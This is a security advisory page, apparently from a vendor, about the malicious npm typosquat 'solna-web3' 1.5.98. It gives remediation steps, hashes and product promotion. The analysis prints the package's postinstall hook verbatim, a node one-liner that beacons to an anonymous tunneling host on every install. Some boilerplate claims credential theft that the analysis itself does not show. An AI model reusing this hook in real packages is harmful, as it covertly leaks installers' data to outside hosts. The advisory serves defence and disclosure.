Which versions of solna-web3 are malicious?

The following npm versions of solna-web3 are flagged malicious: 1.5.98. Treat any of these as compromised.

How do I remediate solna-web3 if I installed it?

solna-web3 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed solna-web3 — how do I know if it already compromised me?

If solna-web3 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is solna-web3 part of a known attack campaign?

Yes — solna-web3 is associated with the GHSA-39j5-93x5-73hc, IN-MAL-2026-003313 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find solna-web3 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for solna-web3 (version 1.5.98). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging solna-web3 across your stack and pipelines.

Malicious package

solna-web3npm

Malicious code in solna-web3 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4248

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall solna-web3

What this malware does

Package name 'solna-web3' is a one-character typosquat of the popular '@solana/web3.js' (drops the 'a' from 'solana'). The package's only real functionality lives in a postinstall hook: package.json declares "postinstall": "node -e '(async()=>{try{await require(\"https\").get(\"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry\")}catch(e){}})()'", which performs an HTTPS GET to a pinggy-free.link tunneling subdomain on every npm install. Pinggy is an anonymous, ephemeral tunneling service unrelated to npm or Solana; the path /npm/-/binary/telemetry is cover-story styling that mimics npm registry paths. Errors are silently swallowed. The request leaks installer IP, timing, and install count to attacker-controlled infrastructure with no opt-in. The advertised API surface (index.js exports a single trivial getProgram() that logs and shells out solana --version) is a stub designed to make the package look real; real behavior is the beacon. Combination of typosquat against a top-100 package + postinstall exfiltration to an anonymous tunneling host + decoy API is unambiguous supply-chain attack shape.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.5.98

Indicators of compromise (SHA-256)

f1c647bdc92e25b1b7c0ce1b45520d1c8fdc3ebe47dab9292832c6457204cf5f

6076f4236301f997d420c7daba9b12c035fe2866fa9fa42f59be230b5e90350a

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for solna-web3 (version 1.5.98). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging solna-web3 across your stack and pipelines.
If you installed it — respond
solna-web3 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If solna-web3 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks solna-web3 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. solna-web3 on npm has been identified as a malicious package (version 1.5.98 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-39j5-93x5-73hcIN-MAL-2026-003313

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks solna-web3-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring